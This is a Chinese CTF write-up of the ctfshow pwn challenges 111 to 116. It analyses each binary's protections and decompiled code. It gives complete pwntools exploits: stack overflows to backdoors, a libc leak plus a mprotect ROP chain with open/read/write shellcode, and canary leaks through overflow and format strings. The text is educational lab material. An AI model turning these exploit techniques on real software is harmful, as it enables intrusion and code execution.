pwn111

Hint:没难度

检查保护:

$ chmod +x pwn
$ checksec pwn
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No

64位仅开启NX保护

IDA直接查看漏洞函数:

int __fastcall main(int argc, const char **argv, const char **envp)
{
init(argc, argv, envp);
logo();
ctfshow();
return 0;
}

ssize_t ctfshow()
{
_BYTE buf[128]; // [rsp+0h] [rbp-80h] BYREF

write(1, "Input your message:\n", 0x14u);
read(0, buf, 0x100u);
return write(1, "I have received your message, Thank you!\n", 0x29u);
}

明显的栈溢出漏洞,观察到还有后⻔函数:

__int64 do_global()
{
__int64 result; // rax
_BYTE buf[9]; // [rsp+Bh] [rbp-15h] BYREF
unsigned int v2; // [rsp+14h] [rbp-Ch]
FILE *stream; // [rsp+18h] [rbp-8h]

stream = fopen("/ctfshow_flag", "r");
while ( 1 )
{
v2 = fgetc(stream);
buf[0] = v2;
result = v2;
if ( (_BYTE)v2 == 0xFF )
break;
write(1, buf, 1u);
}
return result;
}

那么简单了,只需要栈溢出,将返回地址覆盖成这个函数的地址就可以拿到flag了。

from pwn import *
context(arch='amd64',os='linux',log_level = 'debug')
io = process('./pwn')
elf=ELF('./pwn')
flag=elf.sym['_do_global'] #flag=400697
payload = cyclic(0x80+8) + p64(flag)
io.sendline(payload)
io.interactive()
$ python3 exp.py
[+] Starting local process './pwn': pid 47
[*] '/CTFshow_pwn/pwn'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
[*] Switching to interactive mode
* *************************************
* Classify: CTFshow --- PWN --- 入门
* Type : Linux_Security_Mechanism_Bypass
* Site : https://ctf.show/
* Hint : No RELRO,Try pwn it!
* *************************************
Input your message:
I have received your message, Thank you!
flag{just_test_my_process}
[*] Got EOF while reading in interactive

pwn112

Hint:满足一定条件即可

检查保护:

$ chmod +x pwn
$ checksec pwn
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
Stripped: No

32位保护全开,其中部分开启RELRO

IDA查看漏洞函数:

int __cdecl main(int argc, const char **argv, const char **envp)
{
init();
logo();
ctfshow();
return 0;
}

int ctfshow()
{
n17 = 0;
init();
puts("What's your name?");
__isoc99_scanf("%s", var);
if ( n17 )
{
if ( n17 == 17 )
return register_tm();
else
return printf(
"something wrong! val is %d",
var[0],
var[1],
var[2],
var[3],
var[4],
var[5],
var[6],
var[7],
var[8],
var[9],
var[10],
var[11],
var[12],
n17);
}
else
{
printf("%s, Welcome!\n", var);
return puts("Try doing something~");
}
}

细⼼观察其实就发现还是存在后⻔函数:

int register_tm()
{
return sub_400470();
}

unsigned int sub_400470()
{
return do_global();
}

unsigned int do_global()
{
FILE *stream; // [esp+8h] [ebp-20h]
_BYTE buf[9]; // [esp+13h] [ebp-15h] BYREF
unsigned int v3; // [esp+1Ch] [ebp-Ch]

v3 = __readgsdword(0x14u);
stream = fopen("/ctfshow_flag", "r");
while ( 1 )
{
buf[0] = fgetc(stream);
if ( buf[0] == 0xFF )
break;
write(1, buf, 1u);
}
return __readgsdword(0x14u) ^ v3;
}

那么让n17 = 0x11 也就是⼗进制的17即可执⾏到后⻔函数了。

即直接将n17覆盖成17即可

.bss:00003060 ; _DWORD var[13]
.bss:00003060 var dd 0Dh dup(?)

dd 0Dh dup(?) 表示 var 是一个由 13 个DWORD(4 字节整数)组成的数组:

  • dd 对应 C 语言的int(4 字节);
  • 0Dh 是十六进制的 13,dup(?) 表示重复 13 次,因此总大小为 13 × 4 = 52字节。
from pwn import *
context.log_level='debug'
io = process('./pwn')
payload = p32(17) * 0xE #payload = b"a"*13*4+p32(0x11)
io.recv()
io.sendline(payload)
io.interactive()
$ python3 exp.py
[+] Starting local process './pwn': pid 67
[*] Switching to interactive mode
[*] Process './pwn' stopped with exit code 0 (pid 67)
flag{just_test_my_process}
[*] Got EOF while reading in interactive

pwn113(libc6_2.27-0ubuntu2_amd64,libc6_2.27-3ubuntu1_amd64,libc6_2.27-0ubuntu3_amd64)[64位mprotect,还得练]

Hint:理清逻辑,题目不难。

检查保护:

$ chmod +x pwn
$ checksec pwn
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No

64位程序完全开启RELRO保护,开启NX保护

IDA查看main函数:

int __fastcall main(int argc, const char **argv, const char **envp)
{
__int64 v3; // rax
_BYTE v5[1032]; // [rsp+0h] [rbp-420h] BYREF
__int64 v6; // [rsp+408h] [rbp-18h]
char n10; // [rsp+417h] [rbp-9h]
__int64 v8; // [rsp+418h] [rbp-8h]

is_detail = 0;
go(argc, argv, envp);
logo();
fwrite(">> ", 1u, 3u, _bss_start);
fflush(_bss_start);
v8 = 0;
while ( !feof(stdin) )
{
n10 = fgetc(stdin);
if ( n10 == 10 )
break;
v3 = v8++;
v6 = v3;
v5[v3] = n10;
}
v5[v8] = 0;
if ( (unsigned int)init(v5) )
{
qsort(files, size_of_path, 0x200u, cmp);
search_file_info();
}
else
{
fflush(_bss_start);
set_secommp();
}
return 0;
}

feof函数的作用就是判断文件流的结束符

没有接受到结束符时就一直执行while循环,然后接受用户的输入。

payload = b'a' * 0x418 + p8(0x28) 
'''
填充v5,v6,n10,v8;
修改 v8 的第一个字节为 0x28
v8 是记录输入长度的变量,程序会在 v5[v8] 处添加 null 终止符。
当 v8 被改为 0x28 后,v5[0x28] 会被设为 0,导致用户输入的路径被截断为 40 字节(前 40 字节有效,后续内容被忽略)。
v8 是 8 字节变量,但我们只需要修改它的低字节就能达到目的[p8()]
这个是调试出来的【下次补】
'''

跟进init():

__int64 __fastcall init(char *path)
{
__int64 n0x4000; // rax
char *v2; // rax
struct stat stat_buf; // [rsp+10h] [rbp-1A0h] BYREF
char ptr[256]; // [rsp+A0h] [rbp-110h] BYREF
char *src; // [rsp+1A0h] [rbp-10h]
_BYTE *v6; // [rsp+1A8h] [rbp-8h]

size_of_path = 0;
if ( (unsigned int)stat(path, &stat_buf) == -1 )
{
strcpy(ptr, "Can't get the information of the given path.\n");
fwrite(ptr, 1u, 0x2Eu, _bss_start);
return 0;
}
else if ( (stat_buf.st_mode & 0xF000) == 0x8000 )
{
size_of_path = 1;
src = __xpg_basename(path);
strcpy(files, src);
strcpy(dest, path);
return 1;
}
else
{
n0x4000 = stat_buf.st_mode & 0xF000;
if ( (_DWORD)n0x4000 == 0x4000 )
{
if ( path[strlen(path) - 1] != 47 )
{
v2 = &path[strlen(path)];
v6 = v2 + 1;
*v2 = 47;
*v6 = 0;
}
get_dir_detail(path);
return 1;
}
}
return n0x4000;
}

逻辑看起来不明所以可能

注意到程序还开启了沙箱set_secommp():

int set_secommp()
{
__int64 v0; // rcx
__int64 v1; // r8
__int64 v2; // r9
__int16 n8; // [rsp+0h] [rbp-50h] BYREF
__int16 *p_n32; // [rsp+8h] [rbp-48h]
__int16 n32; // [rsp+10h] [rbp-40h] BYREF
char v7; // [rsp+12h] [rbp-3Eh]
char v8; // [rsp+13h] [rbp-3Dh]
int n4; // [rsp+14h] [rbp-3Ch]
__int16 n21; // [rsp+18h] [rbp-38h]
char v11; // [rsp+1Ah] [rbp-36h]
char n5; // [rsp+1Bh] [rbp-35h]
int v13; // [rsp+1Ch] [rbp-34h]
__int16 n32_1; // [rsp+20h] [rbp-30h]
char v15; // [rsp+22h] [rbp-2Eh]
char v16; // [rsp+23h] [rbp-2Dh]
int v17; // [rsp+24h] [rbp-2Ch]
__int16 n53; // [rsp+28h] [rbp-28h]
char v19; // [rsp+2Ah] [rbp-26h]
char v20; // [rsp+2Bh] [rbp-25h]
int n0x40000000; // [rsp+2Ch] [rbp-24h]
__int16 n21_1; // [rsp+30h] [rbp-20h]
char v23; // [rsp+32h] [rbp-1Eh]
char n2; // [rsp+33h] [rbp-1Dh]
int v25; // [rsp+34h] [rbp-1Ch]
__int16 n21_2; // [rsp+38h] [rbp-18h]
char v27; // [rsp+3Ah] [rbp-16h]
char v28; // [rsp+3Bh] [rbp-15h]
int n59; // [rsp+3Ch] [rbp-14h]
__int16 n6; // [rsp+40h] [rbp-10h]
char v31; // [rsp+42h] [rbp-Eh]
char v32; // [rsp+43h] [rbp-Dh]
int n2147418112; // [rsp+44h] [rbp-Ch]
__int16 n6_1; // [rsp+48h] [rbp-8h]
char v35; // [rsp+4Ah] [rbp-6h]
char v36; // [rsp+4Bh] [rbp-5h]
int v37; // [rsp+4Ch] [rbp-4h]

prctl(38, 1, 0, 0, 0);
n32 = 32;
v7 = 0;
v8 = 0;
n4 = 4;
n21 = 21;
v11 = 0;
n5 = 5;
v13 = -1073741762;
n32_1 = 32;
v15 = 0;
v16 = 0;
v17 = 0;
n53 = 53;
v19 = 0;
v20 = 1;
n0x40000000 = 0x40000000;
n21_1 = 21;
v23 = 0;
n2 = 2;
v25 = -1;
n21_2 = 21;
v27 = 1;
v28 = 0;
n59 = 59;
n6 = 6;
v31 = 0;
v32 = 0;
n2147418112 = 2147418112;
n6_1 = 6;
v35 = 0;
v36 = 0;
v37 = 0;
n8 = 8;
p_n32 = &n32;
return prctl(22, 2, &n8, v0, v1, v2);
}

程序的关键就是看各个函数以及了解⼀些结构体,如果对这些毫不了解,那么简单尝试运⾏程序:

$ ./pwn
* *************************************
* Classify: CTFshow --- PWN --- 入门
* Type : Linux_Security_Mechanism_Bypass
* Site : https://ctf.show/
* Hint : Clear thinking
* *************************************
>> aaaa
Can't get the information of the given path.

随便输⼊,然后回显⼀个:Can’t get the information of the given path.(⽆法获取给定路径的信

息。)

那么尝试给定⼀个路径试试 尝试根⽬录(/):

$ ./pwn
* *************************************
* Classify: CTFshow --- PWN --- 入门
* Type : Linux_Security_Mechanism_Bypass
* Site : https://ctf.show/
* Hint : Clear thinking
* *************************************
>> /
drwxr-xr-x 1 root root 4096 Wed Aug 20 07:43:27 2025 bin
drwxr-xr-x 2 root root 4096 Sat Jun 7 12:53:10 2025 bin.usr-is-merged
drwxr-xr-x 2 root root 4096 Sat Jun 7 11:55:23 2025 boot
-rw-r--r-- 1 root root 17 Thu Jul 17 07:52:36 2025 canary.txt
-rw-r--r-- 1 root root 27 Thu Aug 21 01:08:03 2025 ctfshow_flag
drwxrwxr-x 4 ubuntu ubuntu 4096 Thu Aug 21 01:49:20 2025 CTFshow_pwn
drwxr-xr-x 5 root root 340 Thu Aug 21 00:58:32 2025 dev
drwxr-xr-x 1 root root 4096 Wed Jul 9 13:08:44 2025 etc
drwxr-xr-x 1 root root 4096 Wed Jul 9 13:07:01 2025 home
drwxr-xr-x 1 root root 4096 Mon Jul 21 15:50:54 2025 lib
drwxr-xr-x 2 root root 4096 Sat Jun 7 12:53:10 2025 lib.usr-is-merged
drwxr-xr-x 1 root root 4096 Sat Jun 7 12:35:20 2025 lib32
drwxr-xr-x 2 root root 4096 Sat Jun 7 11:55:23 2025 lib64
drwxr-xr-x 3 root root 4096 Sat Jun 7 12:33:06 2025 libx32
drwxr-xr-x 2 root root 4096 Sat Jun 7 11:55:23 2025 media
drwxr-xr-x 2 root root 4096 Sat Jun 7 11:55:23 2025 mnt
drwxr-xr-x 2 root root 4096 Sat Jun 7 11:55:23 2025 opt
-rw-r--r-- 1 root root 34 Thu Jul 17 07:42:43 2025 password.txt
drwxr-xr-x 1 ubuntu ubuntu 4096 Sat Jun 7 12:53:10 2025 pip_venv
dr-xr-xr-x 416 root root 0 Thu Aug 21 00:58:32 2025 proc
drwxr-xr-x 1 ubuntu ubuntu 4096 Tue Aug 19 10:48:00 2025 pwndbg
drwx------ 1 root root 4096 Sat Jun 7 12:53:11 2025 root
drwxr-xr-x 1 root root 4096 Wed Jul 9 13:07:01 2025 run
drwxr-xr-x 1 root root 4096 Sat Jun 7 12:53:11 2025 sbin
drwxr-xr-x 2 root root 4096 Sat Jun 7 11:55:23 2025 srv
dr-xr-xr-x 13 root root 0 Thu Aug 21 00:58:32 2025 sys
drwxrwxrwx 1 root root 516096 Wed Jul 9 13:07:07 2025 tmp
drwxr-xr-x 1 root root 4096 Wed Jul 9 13:07:02 2025 usr
drwxr-xr-x 1 root root 4096 Wed Jul 9 13:07:01 2025 var

发现能够看到给定路径下的⽂件

$ ./pwn
* *************************************
* Classify: CTFshow --- PWN --- 入门
* Type : Linux_Security_Mechanism_Bypass
* Site : https://ctf.show/
* Hint : Clear thinking
* *************************************
>> /ctfshow_flag
-rw-r--r-- 1 root root 27 Thu Aug 21 01:08:03 2025 ctfshow_flag

但是仅仅能看到⽂件信息,并不能获取到⽂件内容。[此时为本地运⾏],⾄此,我们⼤概了解了这个程

序的作⽤。

回到函数:

int __fastcall stat(char *filename, struct stat *stat_buf)
{
return __xstat(1, filename, stat_buf);
}

这个函数能获取⽂件的各种属性

else if ( (stat_buf.st_mode & 0xF000) == 0x8000 )
{
size_of_path = 1;
src = __xpg_basename(path);
strcpy(files, src);
strcpy(dest, path);
return 1;
}
else
{
n0x4000 = stat_buf.st_mode & 0xF000;
if ( (_DWORD)n0x4000 == 0x4000 )
{
if ( path[strlen(path) - 1] != 47 )
{
v2 = &path[strlen(path)];
v6 = v2 + 1;
*v2 = 47;
*v6 = 0;
}
get_dir_detail(path);
return 1;
}
}
return n0x4000;

__xstat返回的其实是⽂件的stat结构体,⾥⾯会记录⽂件的类型和权限。⽤结构体⾥⾯的mode出来进

⾏判断。

程序中有⼀个判断,当我们输⼊的⽂件路径有问题,它就会返回0,然后进⼊沙箱中,那么我们就可以

任意输⼊,使其出错进⼊沙箱进⾏沙箱ROP,还是⾮常简单的。

先泄漏地址,再通过mprotect函数修改权限然后orw进⾏读flag,flag名称我们可以在远程连接的时候

输⼊路径即可看到flag⽂件格式,详细过程这⾥不再概述⻅exp。

漏洞分析:

  1. 栈溢出点main函数中对用户输入的处理存在栈溢出。输入数据存储在v5数组(大小为0x408字节),其位于栈上的地址为[rbp-0x420]。超过0x420字节的输入会覆盖rbp及返回地址,导致控制流劫持。
  2. 进入沙箱条件:当输入的路径无效时,init函数返回0,程序会调用set_secommp()开启沙箱。此时可利用溢出控制返回地址,执行 ROP。
  3. 沙箱与目标:沙箱限制了系统调用,但允许openreadwrite等基础 I/O 操作(可通过程序行为推断)。目标是通过 ROP 构造open->read->write(ORW)链,读取/ctfshow_flag
$ ROPgadget --binary ./pwn | grep "pop rdi ; ret"
0x0000000000401ba3 : pop rdi ; ret

$ ROPgadget --binary ./pwn | grep "ret"
0x0000000000400640 : ret

$ ROPgadget --binary ./libc6_2.27-3ubuntu1_amd64.so --only "pop|ret" | grep "rsi"
0x0000000000023e6a : pop rsi ; ret

$ ROPgadget --binary ./libc6_2.27-3ubuntu1_amd64.so --only "pop|ret" | grep "rdx"
0x0000000000001b96 : pop rdx ; ret
#$ ROPgadget --binary ./libc6_2.27-3ubuntu1_amd64.so | grep "pop rsi ; ret"
#$ ROPgadget --binary ./libc6_2.27-3ubuntu1_amd64.so | grep "pop rdx ; ret"
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
io = process('./pwn')
elf = ELF('./pwn')
libc = ELF("./libc-database/db/libc6_2.27-3ubuntu1_amd64.so")
main = elf.sym['main']
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
pop_rdi = 0x401ba3

payload = b'a' * 0x418 + p8(0x28)
payload += p64(pop_rdi) + p64(puts_got) + p64(puts_plt) #ROP链:调用puts(puts_got),打印puts的实际地址
payload += p64(main) #调用完puts后跳回main函数,方便第二次攻击

io.sendlineafter(b'>> ', payload)
puts = u64(io.recvuntil(b'\x7f')[-6:] + b'\x00\x00') #64位地址特征:以\x7f开头,取最后6字节补全为8字节;puts_addr = u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))
print(hex(puts))
libc_base = puts - libc.symbols['puts']
print(hex(libc_base))

payload = b'a' * 0x418 + p8(0x28)
payload += p64(pop_rdi) + p64(elf.bss()) #传参:bss段地址(可写内存区域)
payload += p64(libc_base + libc.sym['gets']) #调用gets函数,从输入读取数据到bss段
payload += p64(pop_rdi) + p64(elf.bss() & 0xfffffffffffff000) #传参:bss段所在页的起始地址(页对齐)
payload += p64(libc_base + 0x23e6a) + p64(0x1000) #传参:页大小(0x1000),使用libc中的pop rsi; ret gadget
payload += p64(libc_base + 0x1b96) # 使用libc中的pop rdx; ret gadget
payload += p64(7) + p64(libc_base + libc.sym['mprotect']) # 调用mprotect(地址, 0x1000, 7),权限7=读+写+执行
payload += p64(elf.bss()) # 跳转到bss段(此时已可执行)

io.sendlineafter(b'>> ', payload)

shellcode = asm('''
mov rax, 0x67616c662f2e
push rax
mov rdi, rsp
xor esi, esi
mov eax, 2
syscall

cmp eax, 0
jg next
push 1
mov edi, 1
mov rsi, rsp
mov edx, 4
mov eax, edi
syscall
jmp exit

next:
mov edi, eax
mov rsi, rsp
mov edx, 0x100
xor eax, eax
syscall

mov edx, eax
mov edi, 1
mov rsi, rsp
mov eax, edi
syscall

exit:
xor edi, edi
mov eax, 231
syscall
''')

io.sendline(shellcode)
io.interactive()
from pwn import *
from LibcSearcher import *
context(log_level='debug',arch='amd64', os='linux')
io = remote("pwn.challenge.ctf.show",28240)
elf = ELF('./pwn')

ret = 0x400640
pop_rdi_ret = 0x401ba3
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_ret = elf.sym['main']
data = 0x603000

io.recvuntil(b">> ")

payload = b"A"*0x418 + p8(0x28) + p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(main_ret)
io.sendline(payload)

puts_addr = u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))
libc = LibcSearcher("puts",puts_addr)
libc_base = puts_addr-libc.dump('puts')
mprotect_addr = libc_base+libc.dump("mprotect")
pop_rdx = libc_base+0x1b96
pop_rsi = libc_base+0x23e6a
gets_addr = libc_base+libc.dump("gets")
print("libc_base:",hex(libc_base))

io.recvuntil(b">> ")
payload = b"A"*0x418+p8(0x28)+p64(pop_rdi_ret)+ p64(data)
payload += p64(gets_addr)+p64(pop_rdi_ret)+p64(data)
payload += p64(pop_rsi)+p64(0x1000)+p64(pop_rdx)
payload += p64(7)+p64(mprotect_addr)+ p64(data)

io.sendline(payload)

getflag = asm(shellcraft.cat("/flag"))
io.sendline(getflag)

io.interactive()
#方法一
sh = '''
mov rax, 0x67616c662f2e ; rax = 0x67616c662f2e(对应字符串"./flag"的ASCII码)
push rax ; 将路径压入栈(作为open的参数)
mov rdi, rsp ; rdi = 栈地址(路径字符串)
xor esi, esi ; esi = 0(O_RDONLY模式)
mov eax, 2 ; eax = 2(syscall号:open)
syscall ; 调用open("./flag", O_RDONLY)

cmp eax, 0 ; 检查是否打开成功(eax为文件描述符,>0成功)
jg next ; 成功则跳至next
push 1 ; 失败则准备输出"1"
mov edi, 1 ; edi = 1(stdout)
mov rsi, rsp ; rsi = 栈地址("1"的地址)
mov edx, 4 ; edx = 4(输出长度)
mov eax, edi ; eax = 1(syscall号:write)
syscall
jmp exit ; 退出

next:
mov edi, eax ; edi = 文件描述符
mov rsi, rsp ; rsi = 栈地址(用于存储读取内容)
mov edx, 0x100 ; edx = 0x100(读取长度)
xor eax, eax ; eax = 0(syscall号:read)
syscall ; 读取文件内容到栈

mov edx, eax ; edx = 实际读取长度
mov edi, 1 ; edi = 1(stdout)
mov rsi, rsp ; rsi = 栈地址(读取到的内容)
mov eax, edi ; eax = 1(syscall号:write)
syscall ; 输出文件内容

exit:
xor edi, edi ; edi = 0(退出码)
mov eax, 231 ; eax = 231(syscall号:exit)
syscall ; 退出程序
'''

# 方法二

sh = ''
sh += shellcraft.open('/flag') #生成打开/flag文件的汇编代码
sh += shellcraft.read(3,'rsp',0x100) #生成读取文件的汇编代码。其中3是假设的文件描述符(open成功后通常返回 3,因为 0/1/2 是标准输入 / 输出 / 错误),'rsp'表示栈地址(缓冲区),0x100是读取长度。
sh += shellcraft.write(1,'rsp',0x100) #生成输出内容的汇编代码。1是标准输出(stdout),'rsp'是缓冲区(存放读取到的内容),0x100是输出长度。
shellcode = asm(sh)


#方法三

sh = shellcraft.cat("/flag")
shellcode = asm(sh)
'''shellcraft.cat(path)是shellcraft提供的高层封装函数,直接实现 “读取文件并输出内容” 的完整功能(类似 Linux 的cat命令)。其内部自动完成:

- 打开/flag文件;
- 循环读取文件内容到缓冲区;
- 将缓冲区内容写入标准输出(stdout);
- 关闭文件并退出。'''

#方法四

sh = shellcraft.readfile("/flag",2)
shellcode = asm(sh)
'''shellcraft.readfile(path, fd)也是shellcraft的高层函数,功能是 “读取path文件的内容,并写入到文件描述符fd”。其中:

第一个参数"/flag"是目标文件路径;
第二个参数2是目标文件描述符(2对应标准错误 stderr,通常应该用1表示标准输出 stdout,这里可能是笔误)。
'''
$ python3 exp.py
[+] Opening connection to pwn.challenge.ctf.show on port 28240: Done
[*] '/CTFshow_pwn/pwn'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
[+] There are multiple libc that meet current constraints :
0 - libc6_2.27-0ubuntu2_amd64
1 - libc-2.36-22.mga9.i586
2 - libc6_2.19-0ubuntu6.5_amd64
3 - libc6_2.27-3ubuntu1_amd64
4 - libc-2.36-33.mga9.i586
5 - libc6_2.37-0ubuntu1_amd64
6 - libc6_2.27-0ubuntu3_amd64
7 - libc-2.32-6.fc33.i686
8 - libc-2.32-8.fc33.i686
9 - libc-2.32-7.fc33.i686
[+] Choose one : 0
libc_base: 0x7f378bba4000
[*] Switching to interactive mode
Can't get the information of the given path.
\x00ctfshow{6f46de02-1282-4af2-8737-9a62a000944b}

pwn114

Hint:现在你应该学会了吧

检查保护:

$ chmod +x pwn
$ checksec pwn
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
Stripped: No

还是64位保护全开

IDA查看main函数:

int __fastcall main(int argc, const char **argv, const char **envp)
{
char s1[10]; // [rsp+16h] [rbp-3FAh] BYREF
char s[1004]; // [rsp+20h] [rbp-3F0h] BYREF
int char; // [rsp+40Ch] [rbp-4h]

init(argc, argv, envp);
logo();
signal(11, sigsegv_handler);
flagishere();
while ( 1 )
{
puts("Do you know Canary now?");
puts("Input 'Yes' or 'No': ");
__isoc99_scanf("%s", s1);
if ( !strcmp(s1, "Yes") )
break;
if ( !strcmp(s1, "No") )
{
puts("I'm sorry to hear that! Come on.");
return 0;
}
puts("Invalid input, please enter again!");
}
puts("Ok,I know you got it!");
puts("Tell me you want: ");
do
char = getchar();
while ( char != 10 && char != -1 );
fgets(s, 1000, stdin);
ctfshow(s);
return 0;
}

跟进ctfshow():

char *__fastcall ctfshow(const char *p_s)
{
char dest[256]; // [rsp+10h] [rbp-100h] BYREF

return strcpy(dest, p_s);
}

存在后⻔函数:

char *flagishere()
{
FILE *stream; // [rsp+8h] [rbp-8h]

stream = fopen("/ctfshow_flag", "r");
if ( !stream )
{
puts("/ctfshow_flag: No such file or directory.");
exit(0);
}
return fgets(flag, 64, stream);
}
  • 关键函数:
    • main函数:接收用户输入 “Yes” 后,通过fgets读取最多 1000 字节到s,再调用ctfshow(s)
    • ctfshow函数:使用strcpys复制到 256 字节的dest数组中,存在栈溢出漏洞strcpy不检查长度,输入超过 256 字节会溢出)。
    • flagishere函数:已提前读取/ctfshow_flag内容到全局变量flag中,只需泄露flag变量即可获取 flag。

甚⾄都不需要写exp

$ cyclic 256
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaac
$ ./pwn
* *************************************
* Classify: CTFshow --- PWN --- 入门
* Type : Linux_Security_Mechanism_Bypass
* Site : https://ctf.show/
* Hint : No Canary, I think you should have learned!
* *************************************
Do you know Canary now?
Input 'Yes' or 'No':
Yes
Ok,I know you got it!
Tell me you want:
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaac
flag{just_test_my_process}
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
io = process('./pwn')
io.sendline("Yes")
payload = cyclic(0x100)
io.sendline(payload)
io.interactive()

pwn115

Hint:Bypass Canary 姿势1

检查保护:

$ chmod +x pwn
$ checksec pwn
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No

32位开启了Canary保护与NX保护,部分开启RELRO保护

IDA查看main函数,直接跟进ctfshow函数:

int __cdecl main(int argc, const char **argv, const char **envp)
{
init(&argc);
logo();
puts("Try Bypass Me!");
ctfshow();
return 0;
}

unsigned int ctfshow()
{
int i; // [esp+0h] [ebp-D8h]
char buf[200]; // [esp+4h] [ebp-D4h] BYREF
unsigned int v3; // [esp+CCh] [ebp-Ch]

v3 = __readgsdword(0x14u);
for ( i = 0; i <= 1; ++i )
{
read(0, buf, 0x200u);
printf(buf);
}
return __readgsdword(0x14u) ^ v3;
}

明显的溢出漏洞还有格式化字符串漏洞,还观察到存在后⻔函数:

int backdoor()
{
return system("/bin/sh");
}

由于开启了Canary保护,我们⾸先得泄漏出Canary的值,然后再利⽤backdoor函数进⾏get shell

(⽅式不唯⼀)

from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
io = process('./pwn')
elf = ELF('./pwn')
backdoor = elf.sym['backdoor']

# leak Canary
payload = b'a'*200
io.sendlineafter(b"Try Bypass Me!\n", payload) #sendline发送 A*200 + '\n',前 200 字节的 A 刚好填满 buf;第 201 字节的 \n(即 0xa)会溢出到 buf 后面的内存,而这个位置恰好是 Canary 的第一个字节(小端序下,Canary 的低地址字节被覆盖)。
io.recvuntil(b'a'*200)
Canary = u32(io.recv(4)) -0xa #由于泄露的 Canary 低字节被 0xa(换行符)覆盖,因此需要减去 0xa 来恢复 Canary 的原始值。
print(hex(Canary))

# Bypass Canary
payload = b"\x90"*200 + p32(Canary) + b"\x90"*0xc + p32(backdoor) #\x90 是 NOP 指令(填充空间)【可以是其他字母】
io.send(payload)
io.recv()
io.recv()
#ctfshow 函数中有一个循环,会执行两次输入 + 输出操作;两次 io.recv() 是为了匹配 ctfshow 函数中两次 printf 输出的逻辑,清空程序打印的冗余数据(第一次泄露的栈数据、第二次构造的 payload 内容),避免这些数据干扰后续的 shell 交互。
io.interactive()
$ python3 exp.py
[+] Starting local process './pwn': pid 619
[*] '/CTFshow_pwn/pwn'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
0x63fc1200
[*] Switching to interactive mode
$ ls
ctfshow_flag

pwn116

Hint:Bypass Canary 姿势2

检查保护:

$ chmod +x pwn
$ checksec pwn
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No

32位开启了Canary保护与NX保护,部分开启RELRO保护

IDA查看ctfshow函数:

int __cdecl main(int argc, const char **argv, const char **envp)
{
init();
logo();
ctfshow();
return 0;
}

unsigned int ctfshow()
{
char buf[32]; // [esp+Ch] [ebp-2Ch] BYREF
unsigned int v2; // [esp+2Ch] [ebp-Ch]

v2 = __readgsdword(0x14u);
puts("Look me & use me!");
read(0, buf, 0x50u);
printf(buf);
read(0, buf, 0x50u);
return __readgsdword(0x14u) ^ v2;
}

同样的存在溢出漏洞跟格式化字符串漏洞,且存在后⻔函数:

int qwerasd()
{
return system("/bin/sh");
}

这次我们利⽤格式化字符串漏洞去泄漏Canary的值来进⾏绕过。

格式化字符串漏洞可以打印出栈中的内容,因此利⽤此漏洞可以打印出canary的值,再进⾏栈溢出。printf 函数直接打印了 read 读取的⽤⼾输⼊的内容,因此我们可以通过输⼊特殊的payload来利⽤printf泄露栈中的内容。

$ ./pwn
* *************************************
* Classify: CTFshow --- PWN --- 入门
* Type : Linux_Security_Mechanism_Bypass
* Site : https://ctf.show/
* Hint : Using formatted strings to leak !
* *************************************
Look me & use me!
AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p
AAAA.0xff8693bc.0x50.0x8048603.0xff8693e8.0xf7151bb0.0xf71238ac.0x41414141.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70

格式化字符串自身的偏移(第 7 个参数)

unsigned int v2; // [esp+2Ch] [ebp-Ch]

v2 = __readgsdword(0x14u);

Canary 相对于格式化字符串的偏移0x20/4=8

所以 Canary:7(基准偏移) + 8(buf占用的栈单位数) = 15

from pwn import *
context(arch = 'i386',os = 'linux',log_level = 'debug')
io = process('./pwn')
elf = ELF('./pwn')
backdoor = 0x8048586

io.recvuntil(b"Look me & use me!")
#print Canary
payload = b'%15$8x' #08x是为了完整获取 Canary 的 4 字节数据,保证数据能完整显示为 8 位十六进制数
io.sendline(payload)
io.recv()
canary = int(io.recv(8),16)
print(b'canary:' + hex(canary))
#Bypass Canary
payload = b'a' * 32 + p32(canary) + b'a' * 0xc + p32(backdoor)
io.sendline(payload)
io.recv()
io.interactive()
$ python3 exp.py
[+] Starting local process './pwn': pid 682
